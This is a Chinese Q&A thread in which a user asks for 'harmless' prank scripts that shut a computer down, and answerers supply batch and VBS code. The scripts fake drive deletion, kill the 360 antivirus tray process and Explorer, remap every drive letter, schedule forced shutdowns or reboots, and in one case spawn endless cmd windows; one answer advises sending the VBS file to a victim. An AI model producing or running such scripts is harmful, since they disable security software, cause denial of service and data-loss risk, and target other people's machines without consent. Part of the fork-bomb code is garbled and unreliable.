Question

bat整人代码

求一个详细一些的整人代码，要让电脑有自动关机之类的，但没有伤害。

Answer 1

@ color 1f
@echo off
title 最好别关本程序否则后果自负......!
echo 你中招了!
echo 处理器异常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo.
echo 正在移除E盘……
ping 127.0.0.1 /n 4 >nul
echo F盘先给你留着吧!
echo.
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会的……
echo.
echo 呵呵开玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢复C盘……
echo.
echo 正在恢复D盘……
ping 127.0.0.1 /n 4 >nul
echo 正在恢复E盘……
echo.
echo 正在恢复F盘……
ping 127.0.0.1 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁盘好少，怪可怜的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你加几个吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你两分钟时间，看看你的电脑!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看过了吗，好玩的在后面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一键重装中，请稍后……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重装已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是吓唬你的！
ping 127.0.0.1 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你，现在恢复所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢复已完成
ping 127.0.0.1 /n 4 >nul
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 会发生什么呢?
ping 127.0.0.1 /n 4 >nul
echo 什么都没发生

Answer 2

喏，这是一个吓唬人和整一下电脑的批处理（bat），没有任何伤害的。

——————————分割线————————————

@echo off

title 最好别关本程序否则后果自负！

echo 你中招了!

echo 处理器异常!

@color 4f

ping 127.0.0.1 /n 4 >nul

echo.

echo 正在移除C盘……

echo.

ping 127.0.0.1 /n 4 >nul

echo 正在移除D盘……

echo 正在移除E盘……

echo.

echo System Error!

ping 127.0.0.1 /n 4 >nul

echo 系统错误！需要关闭电脑！

ping 127.0.0.1 /n 4 >nul

echo 正在关闭电脑……

ping 127.0.0.1 /n 4 >nul

ping 127.0.0.1 /n 4 >nul

@color 2e

ping 127.0.0.1 /n 4 >nul

echo 哈哈哈，骗你的，什么都没发生！

echo 正在恢复系统……

echo 想吓你的而已！

echo 再见

ping 127.0.0.1 /n 4 >nul

@title 正常的cmd

@cls

@cmd

——————————分割线————————————

保存名为“<你要输入的名字>.bat”就行了。

Answer 3

zr.vbeon error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
打开一个记事本，把代码输入进去，然后把格式改成VBS。
然后一保存，OK啦！（样子是中间有一个蓝色卷轴。）
接着，只要把这个做好的VBS文件发给他，就可以了，不用
再动别的，只要静静等待他被整！
例外话：我劝你还是别发这些，有点缺德的那种感
觉，给人不好的感受。
记住上面这句话！

Answer 4

横线开始
______________________________________________________
：start
start
cmd
goto
start
______________________________________________________
:和start间没有空格
这个代码可以打开无数个cmd窗口，唯一的解决方法是：重启

Answer 5